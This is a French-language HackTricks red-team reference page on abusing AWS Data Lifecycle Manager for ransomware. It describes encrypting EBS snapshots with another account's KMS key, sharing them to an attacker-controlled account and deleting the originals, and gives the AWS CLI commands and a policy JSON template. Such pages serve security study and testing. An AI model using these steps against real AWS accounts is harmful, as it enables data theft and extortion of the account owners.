AWS - DLM Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Data Lifecycle Manger (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Une attaque de ransomware peut ĂȘtre rĂ©alisĂ©e en chiffrant autant d’EBS volumes que possible puis en effaçant les EC2 instances, EBS volumes et snapshots actuels. Pour automatiser cette activitĂ© malveillante, on peut utiliser Amazon DLM, en chiffrant les snapshots avec une KMS key provenant d’un autre AWS account et en transfĂ©rant les snapshots chiffrĂ©s vers un compte diffĂ©rent. Alternativement, ils peuvent transfĂ©rer des snapshots sans chiffrement vers un compte qu’ils contrĂŽlent puis les chiffrer lĂ -bas. Bien qu’il ne soit pas simple de chiffrer directement des EBS volumes ou snapshots existants, il est possible de le faire en crĂ©ant un nouveau volume ou snapshot.

PremiÚrement, on utilisera une commande pour récupérer des informations sur les volumes, telles que instance ID, volume ID, encryption status, attachment status et volume type.

aws ec2 describe-volumes

DeuxiĂšmement, on crĂ©era la lifecycle policy. Cette commande utilise la DLM API pour configurer une lifecycle policy qui prend automatiquement des snapshots quotidiens des volumes spĂ©cifiĂ©s Ă  un horaire dĂ©fini. Elle applique Ă©galement des tags spĂ©cifiques aux snapshots et copie les tags des volumes vers les snapshots. Le fichier policyDetails.json contient les dĂ©tails de la lifecycle policy, tels que target tags, schedule, l’ARN de la KMS key optionnelle pour le chiffrement, et le target account pour le partage des snapshots, qui seront enregistrĂ©s dans les logs CloudTrail de la victime.

aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

Un modĂšle du document de politique est disponible ici :

{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks